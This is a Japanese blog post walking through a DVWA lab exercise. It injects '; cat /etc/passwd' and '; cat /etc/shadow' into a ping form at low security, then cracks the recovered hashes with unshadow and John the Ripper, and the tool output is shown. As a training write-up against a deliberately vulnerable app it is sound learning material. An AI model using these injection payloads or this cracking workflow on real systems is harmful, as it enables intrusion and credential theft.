0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

DVWAでCommandInjection

Posted at

前提

目標

  • command-injectionでパスワードを奪取する
  • john-the-ripperで解析する

手順概要

  • パスワード管理ファイルにアクセスする

内容

command-injectionとは

  • 不正なcommandを送り込む

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。
    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

image.png

  • command-injectionにアクセスする(左メニューにある)
    image.png

command-injection開始

  • 挙動を確認する
    • 通常通りIPを入力:10.0.0.2
    • すると、pingの結果が返ってきた

image.png

  • 挙動を考察する

    • ping {入力値}であると推測できる。
    • ping { ; 次に実行したいコマンド }とすればよさそう
  • パスワードファイルへアクセスする

    • linuxでは「/etc/passwd」「/etc/shadow」にパスワード情報がある
    • よって実行するコマンドは以下となる
      • 「; cat /etc/passwd」
      • 「; cat /etc/shadow」
    • 実行結果は以下画像による
    • shadowはアクセス禁止されているっぽいが、取れたということで。。。次に進む

image.png

  • パスワード解析する
    • passwdとshadowファイルを連結し、johnさんに投げる。
    • 以下shellを実行すると(id/pw)=root/rootであることが分かった。
    • 現在kali linuxがサーバーみたいなものなので、kali linuxのログイン認証情報を獲得できた。(johnで解析できるように強度の低いパスワードに再設定して解析した。強度が高いと失敗する)
# passwd+shadowファイルを連結する
root@kali:~# unshadow /etc/passwd /etc/shadow > hash.txt
# 解析開始
root@kali:~# john hash.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
root             (root)
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:30 19.38% 2/3 (ETA: 00:18:42) 0.03322g/s 1039p/s 1039c/s 1039C/s mailer2..bandit!
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

おわり

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?